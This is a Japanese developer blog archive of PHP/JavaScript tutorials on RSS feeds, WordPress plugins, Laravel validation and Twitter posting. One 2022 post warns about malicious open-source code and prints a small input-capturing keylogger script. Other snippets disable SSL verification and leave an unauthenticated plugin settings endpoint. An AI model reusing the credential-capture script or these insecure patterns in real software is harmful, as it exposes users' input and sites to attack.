
<?php
class blueSkyRss{
    public $rss = null;
    /**
     * __construct
     * @param $url
     * @return void
     */
    public function __construct($url)
    {
        try {
            $html = file_get_contents($url);
            preg_match('/https:\/\/bsky\.app\/profile\/did.*\/rss/',$html,$matches);
            if($rssUrl = $matches[0]){
                $feed = simplexml_load_file($rssUrl);
                $this->rss = $feed;    
            }
        } catch (\Throwable $th) {
            //throw $th;
        }
    }
    /**
     * getRss
     * @return object
     */
    public function getRss():object
    {
        $response = [];
        if(isset($this->rss->channel)){
            $cnt = 0;
            foreach($this->rss->channel->item as $item){
                $response[$cnt]['link']    = $item->link;
                $response[$cnt]['comment']   = $item->description;
                $response[$cnt]['date'] = $item->pubDate;
                $cnt++;
            }
        }
        return (object)$response;
    }
}
$url = 'https://bsky.app/profile/xxxxxxx.bsky.social';
//var_dump((new blueSkyRss($url))->getRss());

明日へ続く。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

bluesky, catch, cnt, construct, description, did, foreach, getRss, isset, lt, object, PARAM, preg_match, pubDate, qiita, return, RSS, throw, Throwable, try,

ContactForm7で現在ページのURLを送る方法。 #カスタマイズ

2023.05.27

Logging

おはようございます。ContactForm7で現在ページのURLを送る方法です、全ての記事の下にお問い合わせフォームを設置している人はあまりいないかもしれないけれど。そのあまりいない人の一人です😂。

記事の下にショートコードを設置するにはプラグインを自作するか、テンプレート内に埋め込むかどちらかだと思います。自分は前者のプラグインを自作してショートコードを埋め込んでいます。

ショートコードを埋め込むコードはこんなコードです。

<?php
do_shortcode('[contact-form-7 id="XXXX" title="comment"]')

これで全記事にショートコードを埋め込むことが可能ですがこれだけでは動きません。こんな感じのプラグインを作ってみてください。プラグインの設置方法などはググって下さい。

<?php
/*
  Plugin Name: comment-add
  Plugin URI:
  Description: 記事の下にアドセンス広告などを貼り付けるのに使用
  Version: 1.0.0
  Author: @zip358com
  Author URI: https://www.zip358.com
 */


function comment_add($content)
{
    if (is_single() && 'post' == get_post_type()) {
        $content = $content.do_shortcode('[contact-form-7 id="xxxx" title="comment"]');
        return $content;
    } else {
        return $content;
    }
}
add_filter('the_content', 'comment_add');
remove_filter('the_content', 'wpautop');

これだけでは、どのページから問い合わせしたのか分からないので、名前などの入力欄以外に入力欄を設置します。次に設置したそのNoを控えて下さい。

<script>
//Contact Form 7 現在ページのURL
if(document.querySelectorAll("[name='text-564']")){
    [...document.querySelectorAll("[name='text-564']")].forEach(elm=>{
        elm.setAttribute("type","hidden");
        elm.value = decodeURIComponent(location.href);
    });
}
</script>

上記のコードを</body>タグ直前に設置してください。設置後、text-564を控えたNoに変更シテクダサイこれで設置が完了です☹。

⚠ContactForm7のメール送信欄にも控えたNoを設置してください。これで完了です!!
最後に送信のご確認を忘れずに😐。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

add_filter, body, comment-add, decodeURIComponent, description, document.querySelectorAll, elm, else, foreach, hidden&quot, lt, php, php do_shortcode, quot, remove_filter, return, setAttribute, title, Version, wpautop,

404の画像をno-imageにする#jscode

2023.05.16

Logging

おはようございます、404の画像をno-imageにするコードです。案外簡単なコードですが、これでノーイメージに変換できます。因みに参照した404ページが404のステータスを吐き出していなかったら、このJSコードは機能しません。

if(document.querySelectorAll("img")){
     [...document.querySelectorAll("img")].forEach(elm=>{
        fetch(elm.src).then(response=>{
            if(!response.ok){
                elm.src = "no_image1.gif";
            }
        });
     });
}

因みに自分のブログサイトもこんな感じのコードを埋め込んでいます。これをphp言語で対応すると処理がサーバーサイドになるので重たくなります。こういうのはJSコードで対応するのが個人的には良いと思っています。尚、JSコードとPHPを連動させて表示の有無を行うのも良いかも知れません。

画像URLを参照してレスポンスデータが返ってきます、このレスポンスの変数をconsole.log(response);で表示するとstatusなども返ってきていることが分かると思います。404ステータスだけ何かしたい場合はresponse.statusで判断するともっと厳密になって良いかも知れません。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

'src', console.log, document.querySelectorAll, elm, fetch, foreach, gt, if, img&quot, no-image, quot, response, response.ok, response.status, status, then, サーバーサイド, ブログサイト, レスポンス, 変数,

Laravel10xになったんだって。#php81code

2023.02.24

Logging

おはようございます。先日、Laravel10xになりPHP8.1系をサポートしたという記事を読みました。でも自分は8系や9系を使用しております。10系になり何が変わったのかなどは知りません。

今日はLaravelの基の話です。Laravelにはバリデーションというクラスがあります。バリデーションとは、POSTやGET送信を行ったデータが問題ないかを確認できるクラスです。そんなクラスの派生がフォームリクエストバリデーションクラスです。これを使用すれば自分のお好みのデータの判別処理が作れます。

作り方などはこちらをに作ってみてください。

php artisan make:request StorePostRequest

尚、Bladeに表示するにはこんな感じで表示できます。

@foreach ($errors->all() as $error)
  <li>{{$error}}</li>
@endforeach

因みにエラーメッセージを変えたい方はこんな方法で変更できます。こんな感じにつくってフォームリクエストバリデーションクラスの中に入れてあげてください。

    public function messages()
    {
        return [
            'name.required' => '名前は必須項目ですよ。',
            'name.max:42' => '42文字以内で入力してください',
            'age.required' => '年齢は必須項目ですよ。',
            'age.numeric' => '整数を入力してください😄。'
        ];
    }

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

as, blade, endforeach, Error, errors, foreach, gt;all, Laravel, Laravel10x, li&gt, lt, name.max, POST, public function messages, request StorePostRequest, return, バリデーション, フォームリクエストバリデーションクラス, 整数, 派生,

Photo by Igor Haritanovich on Pexels.com

ワードプレスの自動タグ生成するプラグイン再開発。 #wp #tag

2022.12.12

Logging

おはようございます、今年もあと半分とちょっとですね、月曜日のたわわ☕。

さて、今日はワードプレスの自動タグ生成するプラグイン再開発しましたってお話です、この自動タグを生成するツールは以前、作っていたのですがYahoo!APIのバージョンアップに伴い使用出来なくなっていました。その為、プラグインを更新しV2対応をこの度、行ったって話です。もともと日本語記事のタグ自動生成するものは存在していたのですが、それがエラーで使用出来なくなり自分で開発したのが今に至っています。

プラグインをダウンロードして使いたい方は、zipファイルを解凍し解凍したフォルダをサーバーのプラグイン置き場にアップロードすることにより使用出来るようになります。尚、前手順としてYahoo!APIのアプリケーションIDの取得を行う必要があります。

プラグインをダウンロードしたくないという方のためにソースコードを一部貼っときます。

        if (isset($appid)) {
            $endpoint = "https://jlp.yahooapis.jp/KeyphraseService/V2/extract";
            $headers = [
                "Content-Type: application/json",
                "User-Agent: Yahoo AppID: ".$appid,
            ]; 
            $param = [
                "id"=> time(),
                "jsonrpc" => "2.0",
                "method" => "jlp.keyphraseservice.extract",
                "params" => [
                    "q"=>preg_replace("/https?:([a-zA-Z0-9|\/|_|\-|%|@|\*|\.|\?|&|=]){0,}/m","",$content)
                    ]
                ];

                $curl=curl_init($endpoint);
                curl_setopt($curl,CURLOPT_POST, TRUE);
                curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
                curl_setopt($curl,CURLOPT_POSTFIELDS, json_encode($param));
                curl_setopt($curl,CURLOPT_SSL_VERIFYPEER, FALSE);
                curl_setopt($curl,CURLOPT_SSL_VERIFYHOST, FALSE);
                curl_setopt($curl,CURLOPT_RETURNTRANSFER, TRUE);
                
                $response =  json_decode(curl_exec($curl));


            if (isset($response->result->phrases)) {
                foreach ($response->result->phrases as $keys=>$word) {
                    if ($word->text) {
                        $tags[] = $word->text;
                    }
                    if (is_array($tags)) {
                        wp_set_post_tags($post_id, implode(",", array_unique($tags)), false);
                    }
                }
            }
        }

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

application, false, foreach, gt, headers, implode, isset, jlp, json_decode, json_encode, keys, PARAM, phrases, quot, quot;User-Agent, response, result, Text, true, VERIFYHOST,

Photo by Stas Knop on Pexels.com

若気の至り若気の過ちか?Mr.ROBOT🤖

2022.09.11

Logging

こんばんは、深夜便で東京に向かってます(嘘です)。

今日は緊急で動画廻してます(記事を書いています)。私が昔書いたコードに大きな脆弱性が合ったので、そのコードの穴だけ塞ぎました。まだ、色々な所に穴があるかもしれないですが・・・。

この脆弱性に関しては知っていたのですが、昔のコードをそのままにしていたのを失念していたのです、それが大きな過ち…。仕事では重大インシデントになりますね😱。

<?php
 function defence_xss($data=""){
    if(is_array($data)){
        foreach ($data as $key => $value) {
            $data[$key] = strip_tags($value);
            $data[$key] = htmlspecialchars($data[$key],ENT_QUOTES);
        }
    }else{
        $data = strip_tags($data);
        $data = htmlspecialchars($data,ENT_QUOTES);
    }
    return $data;
}

今回、塞いだのは初歩の脆弱性です、、、POSTやGETで送られるデータに悪意のあるコードなどを埋め込んでハッキングを行う手法です。またセッションジャックとかそういうのもありますので、気になる方は調べてみてください。

SQLインジェクション判決、オニギリペイ、これらをつなぐセミナーにかける思いを語る
徳丸浩のウェブセキュリティ講座

追記して書いときます。昔勤めていた会社でも何度か、この手の手法でハッキングに合いました。脆弱性が解消されているかは分かりません。XSS攻撃は防げても、これではSQLインジェクション攻撃は防げません、昔のコードで動いているとしたら修正箇所は無数にあるので一日では直せないでしょう。

昔勤めていた会社はShopifyへシステムを移行しているようですが、それが良いのかは分かりません、自分だったら物足りなさを感じると思います😌。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

array, as, data, defence, foreach, function, gt, htmlspecialchars, if, is, key, lt, Mr, php, quot, ROBOT, strip, tags, value, xss, インシデント, コード, それ, 今日, 仕事, 動画, , 失念, , , 東京, 深夜便, , , 緊急, 脆弱性, 色々, 若気, 記事,

Photo by Anete Lusina on Pexels.com

悪意になるコードそうだよねぇ~オープンソース怖い。

2022.06.01

Logging

おはようございます。6月が始まりました。

今日のお題は「悪意になるコードそうだよねぇ~オープンソース怖い。」です。

【ハッキング入門】キーロギングの仕組み IDとパスワードの取得方法【悪用厳禁】

こう思ったのは結構前からなのですが、今回、コードマフィアさんのYOUTUBE動画を見て再確認にした次第です。因みにこのソースコードが動くかどうかは知りません。

コードマフィアさんもお話されている通り、公式サイトで公開されているアプリ以外は注意が必要です、例えば無料配布サイトやgithubなどに置いてあるコードを実装するとかは、信頼性のないものは自らコードチェックを行わないと悪意のコードが入っていたという事もあるので・・・。

気をつけてくださいな😎

(function(){
    const doc = document.querySelectorAll("input");
    doc.forEach((e,k,p)=>{
        p[k].addEventListener("blur",(e)=>{
            var data = {};
            data["name"] = e.target.name;
            data["value"] = e.target.value;
            send1(data);
        });
    });
})();

function send1(data){
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "/?${data.name}=${data.value}", true);
    xhr.onload = function (e) {
      if (xhr.readyState === 4) {
        if (xhr.status === 200) {
          console.log(xhr.responseText);
        } else {
          console.error(xhr.statusText);
        }
      }
    };
    xhr.onerror = function (e) {
      console.error(xhr.statusText);
    };
    xhr.send(null);     
}
その発想ない事もない。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

6, const, doc, document, foreach, function, github, gt, input, querySelectorAll, quot, youtube, アプリ, オープン, お話, コード, サイト, ソース, チェック, マフィア, もの, , 今回, 今日, 信頼性, 公式, 公開, , 動画, 実装, 必要, 悪意, 次第, , 注意, 無料, 確認, 自ら, 通り, 配布, ,

JS(javaScript)ファイルを動的に再読み込みする方法。

2021.10.13

Logging

今日は朝からメールで書類提出してクラウドワークスの仕事に何か良いものはないかなどを見ておりましたがありません?。

さて、JS(javaScript)ファイルを動的に再読み込みする方法のオリジナルコードを書きましたので、お裾分けします。前々の会社で JS(javaScript)ファイルを動的に再読み込みしないとJSが動作しないという何ともやるせない気持ちの仕様があり、その時は人様のコードを拝借して使っていましたが、今日はクラウドワークスなどの案件もないのでちゃちゃっと自分でコードを書きました?。同じように困っている方はご使用くださいな?

https://zip358.com/tool/demo67/

ちょっと愚痴?
そもそも前々の会社のオリジナルMVCはいろいろと欠陥だらけで且つ仕様書もない、何が正解なのかも教えてもらえない中、修正やらしていたので本当に大変でした。聞いても明確に答えてもらえないのは正直な所、大変です。後任にはちゃんと教えていたら良いのですがね。

"use strict";
document.querySelector("button").addEventListener("click",jsandcssreload);
function jsandcssreload(){
    let d = (new Date()).getTime();
    [...document.querySelectorAll("link")].forEach((elm)=>{
        elm.href = elm.href.replace(/(\.css)\??[0-9]{0,}$/,".css?" + d);
    });
    [...document.querySelectorAll("script")].forEach((elm)=>{
        elm.src = elm.src.replace(/(\.js)\??[0-9]{0,}$/,".js?" + d);
    });    
}

上手く行かなかった場合の対応.

[...document.querySelectorAll('script')].forEach(elm => {
        let script = document.createElement('script');
        script.src = elm.src;
        document.body.appendChild(script);   
});

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

'src', addEventListener, createElement, css, document.querySelector, document.querySelectorAll, elm, foreach, getTime, gt, href, javascript, jsandcssreload, quot, quot;button&quot, quot;use, script, src.replace, strict&quot, 後任,

数珠繋ぎにTweet(リプライ)するPHP言語のコードは意外にも簡単。

2021.08.28

Logging

先日、高知県はコロナ感染症が111人になったそうです。早くコロナワクチン接種?2回目を打ちたいです、ただファイザー社のワクチンなのでデルタ株のウィルスは軽症化させるだけで無症状や感染しないようにはならないという事です。それでも重症化を防げるので打たないより打った方が良いですね?。なお、混合ワクチン接種が結構無敵だとか?インドではDNAワクチン接種を世界初で承認したみたいですね。新たな変異種も防ぐことが出来れば一気にDNAワクチン接種が世界的に進みそうです。

さて、前置きはここまでとして、数珠繋ぎにTweet(リプライ)するPHP言語のコードは意外にも簡単に書けました、なお、TwitterOAuthというライブラリを使用して呟いています。

作った経緯は数珠繋ぎにする方法などは調べてもヒットしなかったので記載しようと思ったわけです。今回の方法でアファリエイトなどを紹介などや長文のツイートが行えるなどいろいろな用途に使えるかと思います。

※このソースコードはコマンドライン(CUI)から叩かないと(実行)、動かない仕様になっています。

<?php
require_once("../vendor/autoload.php");
use Abraham\TwitterOAuth\TwitterOAuth;
if ($argv[0]) {
    require_once "./tw-config.php";
    $connection = new TwitterOAuth(CONSUMER_KEY, CONSUMER_SECRET, ACCESS_TOKEN, ACCESS_TOKEN_SECRET);
    date_default_timezone_set('Asia/Tokyo');
    $affiliate = json_decode(file_get_contents("./affiliate.json"));
    $id = null;
    foreach ($affiliate->{date("w")} as $key=>$val) {
        $str = $id?array("status"=>$affiliate->{date("w")}[$key]->txt,"in_reply_to_status_id"=>$id):array("status"=>$affiliate->{date("w")}[$key]->txt);
        $res = $connection->post("statuses/update",$str);
        $id = $res->id;
    }
}
{
    "0": [
        {
            "txt": ""
        },
        {
            "txt": "2"
        },
        {
            "txt": "3"
        }
    ],
    "1": [
        {
            "txt": "1"
        },
        {
            "txt": "2"
        },
        {
            "txt": "3"
        }
    ],
    "2": [
        {
            "txt": "1"
        },
        {
            "txt": "2"
        },
        {
            "txt": "3"
        }
    ],
    "3": [
        {
            "txt": "1"
        },
        {
            "txt": "2"
        },
        {
            "txt": "3"
        }
    ],
    "4": [
        {
            "txt": "1"
        },
        {
            "txt": "2"
        },
        {
            "txt": "3"
        }
    ],
    "5": [
        {
            "txt": "1"
        },
        {
            "txt": "2"
        },
        {
            "txt": "3"
        }
    ],
    "6": [
        {
            "txt": "1"
        },
        {
            "txt": "2"
        },
        {
            "txt": "3"
        }
    ]
}

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

$affiliate, argv, Asia, connection, CUI, date, foreach, gt, json_decode, lt, null, php require_once, quot, TwitterOAuth, txt, use AbrahamTwitterOAuthTwitterOAuth, val, vendor, アファリエイト, コマンドライン,

全ての定義済の変数を配列で返す

2019.03.16

Logging

全ての定義済の変数を配列で返す関数です。
全てなのでとってきて欲しくないものまでも取ってきます。
なのでそういうのはunsetします。
ちなみに似たようなのでcompactという関数がPHPには存在します。
何に使用する場合に便利かは人それぞれ違いますが
自分の場合はテンプレートエンジンを使用するときに重宝してます。
テンプレートエンジン・・・TwigやSmartyなど

<?php
$a = "abc";
$b = array(1,2,3);
$c = 123;
$vars = get_defined_vars();
unset($_COOKIE);
unset($_POST);
unset($_GET);
unset($_FILES);
unset($GLOBALS);
foreach ($vars as $key => $value) {
    var_dump($key);
    var_dump($value);
}
//...
var_dump($vars);

 

著者名  @taoka_toshiaki

※この記事は著者が30代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

, 2, , ABC, array, as, compact, COOKIE, defined, dump, files, foreach, GET, GLOBALS, gt, key, lt, php, POST, Smarty, Twig, unset, value, var, vars, エンジン, それぞれ, テンプレート, とき, もの, , , 使用, 便利, 全て, 場合, 変数, 存在, 定義, 自分, 配列, 重宝, 関数,

PHPの無名関数の使い道が未だにわからないし…

2019.03.09

Logging

<?php
$mumei = function()
{
    if($cnt = func_get_args())
    {
        foreach($cnt as $key=>$value)
        {
            print func_get_arg($key);
        }
    }
};
$mumei(1,2,3,4,5,6);

わからない、未だにわからないし、使う機会が少ないのだけどいったいどこに使うのか。

追記:
2021年の今、無名関数を使ってコードを書くことが増えました、PHP8になりオブジェクト指向が洗練されてきています。今後、無名関数を使用してコードを書くこともあると思います。因みにJSの方が無名関数でコードを書くことが多いですね。

PHPでの無名関数の問題点は、頻繁に無名関数ばかり使用していると他のエンジニアが読みづらく感じる所かもしれません。特にPHPの昔のバージョンになればなる程、読みづらいと思います。

著者名  @taoka_toshiaki

※この記事は著者が30代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

, 2, 2021, , 4, 5, 6, 8, arg, args, as, cnt, foreach, FUNC, function, GET, gt, if, JS, key, lt, mumei, php, print, value, エンジニア, オブジェクト, コード, こと, どこ, , 今後, , 使い道, 使用, 問題点, , 指向, , 未だ, 機会, 洗練, 無名, 追記, 関数, 頻繁,

google NewsをRSSで取得してjsonで返却するPHPプログラム

2018.12.22

Logging

<?php
//$_POST["sh"]...検索キーワード 
if ($_POST["sh"]) {
	$sh = urlencode(@xss_defence($_POST["sh"]));
	$res = simplexml_load_file("https://news.google.com/news/rss/headlines/section/q/$sh/?ned=jp&hl=ja&gl=JP");
	rss($res);
}
function rss(object $obj = null):void
{
	if (isset($obj->channel->item)) {
		if ($obj->channel->item) {
			$cnt = 0;
			foreach ($obj->channel->item as $item) {
				$result[$cnt]["title"] = (string)$item->title;
				$result[$cnt]["link"] = (string)$item->link;
				$result[$cnt]["pubDate"] = (string)$item->pubDate;
				$result[$cnt]["description"] = (string)$item->description;
				$result[$cnt]["source"] = (string)$item->source;
				$cnt++;
			}
		}
	}
	echo json_encode($result);
}

function xss_defence(mixed $val):mixed
{

    if(!isset($val))return false;
    if(is_array($val)){
        foreach ($val as $key => $value) {
            # code...
            $val[$key] = strip_tags($value);
            $val[$key] = htmlentities($val[$key],ENT_QUOTES);
        }
    }else{
        $val = strip_tags($val);
        $val = htmlentities($val,ENT_QUOTES);
    }
    return $val;
}

google NewsをRSSで取得してjsonで返却するPHPプログラムです。
ご自由にご使用ください。

著者名  @taoka_toshiaki

※この記事は著者が30代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

0, channel-, cnt, com, defence, file, foreach, function, gl, Google, gt, headlines, hl, https, if, isset, item, ja, jp, json, load, lt, ned, News, null, obj, object, php, POST, quot, res, RSS, section, sh, simplexml, urlencode, void, xss, キーワード, プログラム, 取得, 検索, 返却,

WordPress自動日本語タグを吐き出しプラグインを作りました。

2018.11.17

Logging

WordPress自動日本語タグを吐き出しプラグインを作りました。
あのjapanese autotagというプラグインと考え方は同じですが、
自分が作ったものはその簡略化したものです。
ソースコードは全ったく違う感じですが、動作は似たような感じです。
機能はjapanese autotagよりかは少ないですが、これだけで十分かなと思います。
ダウンロードはこちらから
https://zip358.com/tool/jp-auto-tag.zip [v2に対応済み]
尚、Yahoo デベロッパーのアプリケーションIDが必要となります。
ソースコードは下記になります。※v1のソースコードなので今は動きません!!最新の記事を参照ください。

<?php
/*
Plugin Name: jp-auto-tag
Version: 0.1.11
Description: auto jp tag
Author: taoka toshiaki
Author URI: https://zip358.com/
Plugin URI: https://wordpress.org/extend/plugins/jp-auto-tag/
*/
class jp_auto_tag{
    public $db_option = "jp_auto_tag";
    //api
    public $results = "ma";
    public $filter = array("1","2","3","4","5","6","7","8","9","10","11","12","13");
    function frm_page(){
        add_menu_page('jp-auto-tag','jp-auto-tag',  'manage_options', __FILE__, array($this,'show_text_option_page'), '',8);
    }
    function show_text_option_page(){
        wp_enqueue_style( 'bootstrap', 'https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css', array(), '3.3.6' );
        wp_enqueue_script( 'bootstrap', 'https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js', array(), '3.3.6');
        $options = get_option($this->db_option);
        if(!empty($options)){
            $appid = $options["appid"];
            foreach ($this->filter as $key => $value) {
               if($options["filter".$value] == $value){
                    $f[] = "checked";
               }else{
                   $f[] = "";
               }
            }
        }
        include_once dirname( __FILE__ ).'/jp-auto-tag-tmp.php';
    }
    function ajax_event(){
        $appid = $_POST["appid"];
        $filter =$_POST["filter"];
        $options["appid"] = $appid;
        foreach ($this->filter as $key => $value) {
            if(in_array($value,$filter,true)){
                $options["filter".$value] = $value;
            }else{
                $options["filter".$value] = "";
            }
        }
        update_option($this->db_option, $options);
        $obj["appid"] = $appid;
        $obj["filter"] = $filter;
        print json_encode($obj);
        die(0);
    }
    function api_tag($post_id){
ini_set("display_errors",1);
        $post = get_post($post_id);
        $title = $post->post_title;
        $content = strip_tags($post->post_content);
        $sentence = $title.$content;
        if(strlen($sentence)>102400){
            $sentence = substr($sentence,0,102400);
        }
        $options = get_option($this->db_option);
        if(!empty($options)){
            $appid = $options["appid"];
            foreach ($this->filter as $key => $value) {
               if($options["filter".$value] == $value){
                    $f[] = $value;
               }
            }
        }
        if($appid){
            $filter = implode("|",$f);
            if(!$filter){
                $url = "https://jlp.yahooapis.jp/MAService/V1/parse?appid=$appid&results=$this->results&sentence=".urlencode($sentence);
            }else{
                $url = "https://jlp.yahooapis.jp/MAService/V1/parse?appid=$appid&results=$this->results&ma_filter=$filter&sentence=".urlencode($sentence);
            }
            $xml = @file_get_contents($url);
            $xml_obj = simplexml_load_string($xml);
            if($xml_obj->ma_result->word_list){
                foreach($xml_obj->ma_result->word_list->word as $word) {
                    if($word->surface){
                        $tags[] = $word->surface;
                    }
                    if(is_array($tags)){
                        wp_set_post_tags($post_id, implode(",",array_unique($tags)), false);
                    }
                }
            }
        }
    }
}
$jp_auto_tag = new jp_auto_tag();
add_action('save_post',array($jp_auto_tag,'api_tag'));
add_action('publish_post',array($jp_auto_tag,'api_tag'));
add_action('admin_menu', array($jp_auto_tag, 'frm_page'));
add_action('wp_ajax_ajax_event',array($jp_auto_tag,'ajax_event'));
<form id="ajax-frm">
<table class="table">
    <tr>
        <td>
            アプリケーションID
        </td>
        <td>
            <input type="text" name="appid" value="<?=$appid?>" class="form-control">
        </td>
    </tr>
    <tr>
        <td>
            解析結果として出力する品詞
        </td>
        <td>
            <input type="checkbox" name="filter[]" value="1" <?=$f[0]?>  class="form-control">1 : 形容詞
            <input type="checkbox" name="filter[]" value="2" <?=$f[1]?> class="form-control">2 : 形容動詞
            <input type="checkbox" name="filter[]" value="3" <?=$f[2]?> class="form-control">3 : 感動詞
            <input type="checkbox" name="filter[]" value="4" <?=$f[3]?> class="form-control">4 : 副詞
            <input type="checkbox" name="filter[]" value="5" <?=$f[4]?> class="form-control">5 : 連体詞
            <input type="checkbox" name="filter[]" value="6" <?=$f[5]?> class="form-control">6 : 接続詞
            <input type="checkbox" name="filter[]" value="7" <?=$f[6]?> class="form-control">7 : 接頭辞
            <input type="checkbox" name="filter[]" value="8" <?=$f[7]?> class="form-control">8 : 接尾辞
            <input type="checkbox" name="filter[]" value="9" <?=$f[8]?> class="form-control">9 : 名詞
            <input type="checkbox" name="filter[]" value="10"<?=$f[9]?>  class="form-control">10 : 動詞
            <input type="checkbox" name="filter[]" value="11"<?=$f[10]?>  class="form-control">11 : 助詞
            <input type="checkbox" name="filter[]" value="12"<?=$f[11]?>  class="form-control">12 : 助動詞
            <input type="checkbox" name="filter[]" value="13"<?=$f[12]?>  class="form-control">13 : 特殊(句読点、カッコ、記号など)
        </td>
    </tr>
    <tr>
        <td colspan="2"><input type="button" id="frmsubmit" value="登録する" class="form-control"></td>
    </tr>
</table>
</form>
<script>
    jQuery(function($){
        $("#frmsubmit").on("click",function(){
            var ajaxurl = '<?=admin_url( 'admin-ajax.php');?>';
            var data = $("#ajax-frm").serializeArray();
            data.push({name:"action",value:"ajax_event"});
            $.ajax({
               type:'POST',
               url:ajaxurl,
               data:data,
               success:function(obj){
                   console.log(obj);
                   if(obj.appid!==""){
                       alert("更新しました");
                   }
               }
            });
        });
    })
</script>

著者名  @taoka_toshiaki

※この記事は著者が30代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

API, appid, array, Bootstrap, dirname, extend, foreach, implode, MAService, obj, parse, plugins, strlen, success, 助動詞, 品詞, 形容動詞, 接尾辞, 接頭辞, 連体詞,